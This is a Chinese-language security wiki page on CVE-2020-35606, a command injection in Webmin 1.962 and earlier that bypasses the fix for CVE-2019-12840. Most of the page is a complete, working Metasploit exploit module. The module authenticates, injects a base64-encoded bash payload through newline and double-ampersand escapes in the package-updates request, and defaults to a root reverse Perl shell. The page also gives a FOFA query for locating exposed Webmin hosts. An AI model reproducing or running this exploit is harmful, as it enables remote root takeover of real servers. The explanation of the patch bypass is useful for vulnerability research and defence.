menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Vulnerability-棱角社区(Vulnerability)项目漏洞-20210715 chevron_right Webmin _=1.962 任意命令执行(CVE-2020-35606).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Webmin _=1.962 任意命令执行(CVE-2020-35606).md
    6.46 KB / 2021-05-21 09:14:38
        # Webmin <=1.962 任意命令执行(CVE-2020-35606)
    
    此漏洞绕过了CVE-2019-12840的补丁,参考:https://github.com/webmin/webmin/commit/e122629c02e2bae8f06f2ce0c3f0bd7bb7ffc3f5#diff-adc54486ea3dd9ca0ec430f0fe8fec964e95ed42bd7a7adfaf26db43e9682d50
    
    在Payload的末尾(%26%26)加上双&符(&&)进行绕过。
    
    ![](media/16096795487367/16096795706317.jpg)
    
    fofa:
    
    ```
    app="webmin"
    ```
    
    Webmin 1.962-PU Escape Bypass-远程命令执行 Metasploit模块:
    
    ```python
    ##
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Webmin 1.962 - PU Escape Bypass - Remote Command Execution',
          'Description'    => %q(
            This module exploits an arbitrary command execution vulnerability in Webmin
            1.962 and lower versions. Any user authorized to the "Package Updates"
            module can execute arbitrary commands with root privileges. 
            It emerged by circumventing the measure taken for CVE-2019-12840.
            s/\\(-)|\\(.)/string/g; escape is not enough for prevention.
            Therefore, since the package name variable is placed directly in the system command, 
            we can manipulate it using some escape characters that HTTP supports. 
            For example, we can escape control by dropping the command line down one line. 
            We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly, 
            we must add double an ampersand(&&) to the end of the payload (%26%26)
          ),
          'Author'         => [
            'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
          ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              ['CVE', '2020-'],
              ['URL', 'https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html']
            ],
          'Privileged'     => true,
          'Payload'        =>
            {
              'DisableNops' => true,
              'Space'       => 512,
              'Compat'      =>
                {
                  'PayloadType' => 'cmd'
                }
            },
          'DefaultOptions' =>
            {
              'RPORT' => 10000,
              'SSL'   => false,
              'PAYLOAD' => 'cmd/unix/reverse_perl'
            },
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Targets'        => [['Webmin <= 1.962', {}]],
          'DisclosureDate' => '2020-12-21',
          'DefaultTarget'  => 0)
        )
        register_options [
            OptString.new('USERNAME',  [true, 'Webmin Username']),
            OptString.new('PASSWORD',  [true, 'Webmin Password']),
            OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
        ]
      end
    
      def peer
        "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
      end
    
      def login
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri, 'session_login.cgi'),
          'cookie' => 'testing=1', # it must be used for "Error - No cookies"
          'vars_post' => {
            'page' => '',
            'user' => datastore['USERNAME'],
            'pass' => datastore['PASSWORD']
          }
        })
    
        if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
          return $1
        end
    
        return nil unless res
        ''
      end
    
      def check
        cookie = login
        return CheckCode::Detected if cookie == ''
        return CheckCode::Unknown if cookie.nil?
    
        vprint_status('Attempting to execute...')
        # check version
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(target_uri.path, "sysinfo.cgi"),
          'cookie'  => "sid=#{cookie}",
          'vars_get' => { "xnavigation" => "1" }
        })
    
        if res && res.code == 302 && res.body
          version = res.body.split("Webmin 1.")[1]
          return CheckCode::Detected if version.nil?
          version = version.split(" ")[0]
          if version <= "962"
            # check package update priv
            res = send_request_cgi({
              'uri'     => normalize_uri(target_uri.path, "package-updates/"),
              'cookie'  => "sid=#{cookie}"
            })
    
            if res && res.code == 200 && res.body =~ /Software Package Update/
              print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
              return CheckCode::Vulnerable
            end
          end
        end
        print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
        print_status("Please try with another user account!")
        CheckCode::Safe
      end
    
      def exploit
        cookie = login
        if cookie == '' || cookie.nil?
          fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
        end
        print_good("Session cookie: #{cookie}")
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
          'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
          'cookie' => "sid=#{cookie}"
        )
        unless res && res.code == 200
          fail_with(Failure::Unknown, 'Request failed')
        end
    
        print_status("Attempting to execute the payload...")
        run_update(cookie)
      end
    
      def run_update(cookie)
        @b64p = Rex::Text.encode_base64(payload.encoded)
        perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
        payload = Rex::Text.uri_encode(perl_payload)
    
        res = send_request_cgi(
          {
            'method' => 'POST',
            'cookie' => "sid=#{cookie}",
            'ctype'  => 'application/x-www-form-urlencoded',
            'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
            'headers' =>
              {
                'Referer' => "#{peer}/package-updates/?xnavigation=1"
              },
            # new vector // bypass to backslash  %0A%7C{}%26%26
            'data' => "redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C#{payload}%26%26"
            # for CVE-2019-12840 #'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
          })
      end
    end
    
    ```
    
    ![](media/16096795487367/16096795878083.jpg)
    
    
    ![](media/16096795487367/16096795909863.jpg)
    
    
    ref:
    
    * https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html
    * https://github.com/webmin/webmin/commit/e122629c02e2bae8f06f2ce0c3f0bd7bb7ffc3f5#diff-adc54486ea3dd9ca0ec430f0fe8fec964e95ed42bd7a7adfaf26db43e9682d50
    * https://nvd.nist.gov/vuln/detail/CVE-2020-35606
    * https://forum.ywhack.com/thread-114860-1-1.html
    
    links
    file_download